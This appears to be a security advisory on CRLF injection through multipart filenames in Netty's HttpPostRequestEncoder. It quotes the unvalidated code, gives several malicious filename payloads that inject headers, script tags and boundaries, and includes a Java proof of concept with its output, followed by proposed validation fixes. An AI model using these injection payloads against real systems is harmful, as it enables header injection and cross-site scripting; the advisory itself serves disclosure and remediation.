Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder

 1// Line 674 (attachment mode):
 2internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": "
 3    + HttpHeaderValues.ATTACHMENT + "; "
 4    + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n");
 5//                                        ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION
 6 
 7// Lines 686-688 (form-data mode):
 8internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; "
 9    + HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; "
10    + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n");
11//                                        ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION
12 
13// Line 519 (attribute name):
14internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; "
15    + HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n");
16//                                    ^^^^^^^^^^^^^^^^^ NO VALIDATION

 1// DiskFileUpload.java:77-79
 2public void setFilename(String filename) {
 3    this.filename = ObjectUtil.checkNotNull(filename, "filename");
 4    // NO CRLF VALIDATION
 5}

 1String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--";
 2 
 3DiskFileUpload upload = new DiskFileUpload(
 4    "avatar", maliciousFilename, "image/jpeg", "binary", UTF_8, fileSize);

 1--boundary
 2content-disposition: form-data; name="avatar"; filename="photo.jpg"
 3Content-Type: text/html                    <-- INJECTED: overrides image/jpeg
 4 
 5<script>alert(document.cookie)</script>    <-- INJECTED: XSS payload
 6--"
 7content-type: image/jpeg                   <-- Original (now ignored by many parsers)
 8...

 1String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true";

 1String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret";

 1import io.netty.buffer.ByteBuf;
 2import io.netty.buffer.Unpooled;
 3import io.netty.handler.codec.http.*;
 4import io.netty.handler.codec.http.multipart.*;
 5 
 6import java.io.File;
 7import java.io.FileWriter;
 8import java.nio.charset.StandardCharsets;
 9 
10/**
11 * PoC: HTTP Multipart Content-Disposition Header Injection via Filename
12 *
13 * Demonstrates that HttpPostRequestEncoder does not validate filenames
14 * for CRLF characters, allowing injection of arbitrary MIME headers
15 * into multipart form data.
16 */
17public class MultipartFilenameInjectionPoC {
18 
19    public static void main(String[] args) throws Exception {
20        System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n");
21 
22        testFilenameInjection();
23 
24        System.out.println("\n=== PoC Complete ===");
25    }
26 
27    static void testFilenameInjection() throws Exception {
28        System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition");
29        System.out.println("-------------------------------------------------------");
30 
31        // Create a temporary file for upload
32        File tempFile = File.createTempFile("test", ".txt");
33        tempFile.deleteOnExit();
34        try (FileWriter fw = new FileWriter(tempFile)) {
35            fw.write("test content");
36        }
37 
38        // Malicious filename with CRLF to inject Content-Type header
39        String maliciousFilename =
40            "innocent.txt\"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" +
41            "<script>alert(1)</script>\r\n--";
42 
43        HttpRequest request = new DefaultHttpRequest(
44            HttpVersion.HTTP_1_1, HttpMethod.POST, "/upload");
45 
46        HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(
47                new DefaultHttpDataFactory(false), request, true,
48                StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);
49 
50        DiskFileUpload fileUpload = new DiskFileUpload(
51                "file", maliciousFilename, "application/octet-stream",
52                "binary", StandardCharsets.UTF_8, tempFile.length());
53        fileUpload.setContent(tempFile);
54 
55        encoder.addBodyHttpData(fileUpload);
56        encoder.finalizeRequest();
57 
58        // Read the encoded multipart body
59        StringBuilder body = new StringBuilder();
60        while (!encoder.isEndOfInput()) {
61            HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());
62            if (chunk != null) {
63                body.append(chunk.content().toString(StandardCharsets.UTF_8));
64                chunk.release();
65            }
66        }
67        encoder.cleanFiles();
68 
69        String encoded = body.toString();
70        System.out.println("Malicious filename: " +
71            maliciousFilename.replace("\r", "\\r").replace("\n", "\\n"));
72        System.out.println();
73        System.out.println("Encoded multipart body:");
74        System.out.println("---");
75        for (String line : encoded.split("\n", -1)) {
76            System.out.println("  " + line.replace("\r", "\\r"));
77        }
78        System.out.println("---");
79 
80        boolean hasInjectedHeader = encoded.contains("X-Injected: true");
81        boolean hasInjectedScript = encoded.contains("<script>");
82        System.out.println();
83        System.out.println("Injected X-Injected header: " + hasInjectedHeader);
84        System.out.println("Injected script tag: " + hasInjectedScript);
85        System.out.println("VULNERABLE: " +
86            ((hasInjectedHeader || hasInjectedScript) ?
87                "YES - MIME header injection!" : "NO"));
88 
89        tempFile.delete();
90    }
91}

 1# Build Netty (skip tests)
 2./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \
 3  -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \
 4  -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \
 5  -Dspotbugs.skip=true -q
 6 
 7# Set classpath
 8JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
 9  | grep -v sources | grep -v javadoc | tr '\n' ':')
10 
11# Compile and run
12javac -cp "$JARS" MultipartFilenameInjectionPoC.java
13java -cp "$JARS:." MultipartFilenameInjectionPoC

 1=== Netty Multipart Filename CRLF Injection PoC ===
 2 
 3[TEST 1] Filename CRLF Injection in Content-Disposition
 4-------------------------------------------------------
 5Malicious filename: innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n<script>alert(1)</script>\r\n--
 6 
 7Encoded multipart body:
 8---
 9  --88aaade41dbb9f9f\r
10  content-disposition: form-data; name="file"; filename="innocent.txt"\r
11  Content-Type: text/html\r                          <-- INJECTED
12  X-Injected: true\r                                 <-- INJECTED
13  \r
14  <script>alert(1)</script>\r                        <-- INJECTED XSS
15  --"\r
16  content-length: 12\r
17  content-type: application/octet-stream\r
18  content-transfer-encoding: binary\r
19  \r
20  test content\r
21  --88aaade41dbb9f9f--\r
22---
23 
24Injected X-Injected header: true
25Injected script tag: true
26VULNERABLE: YES - MIME header injection!
27 
28 
29=== PoC Complete ===

 1// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java
 2public void setFilename(String filename) {
 3    ObjectUtil.checkNotNull(filename, "filename");
 4    for (int i = 0; i < filename.length(); i++) {
 5        char c = filename.charAt(i);
 6        if (c == '\r' || c == '\n') {
 7            throw new IllegalArgumentException(
 8                "filename contains prohibited CRLF character at index " + i);
 9        }
10    }
11    this.filename = filename;
12}

 1// HttpPostRequestEncoder.java - add helper method
 2private static String sanitizeHeaderParam(String value) {
 3    for (int i = 0; i < value.length(); i++) {
 4        char c = value.charAt(i);
 5        if (c == '\r' || c == '\n' || c == '"') {
 6            throw new ErrorDataEncoderException(
 7                "Multipart parameter contains prohibited character at index " + i);
 8        }
 9    }
10    return value;
11}
12 
13// Then use in Content-Disposition construction:
14internal.addValue(... + "=\"" + sanitizeHeaderParam(fileUpload.getFilename()) + "\"\r\n");

 1// Encode filename per RFC 5987:
 2// filename*=UTF-8''encoded%20filename
 3String encodedFilename = "UTF-8''" + URLEncoder.encode(filename, "UTF-8");
 4internal.addValue(... + "filename*=" + encodedFilename + "\r\n");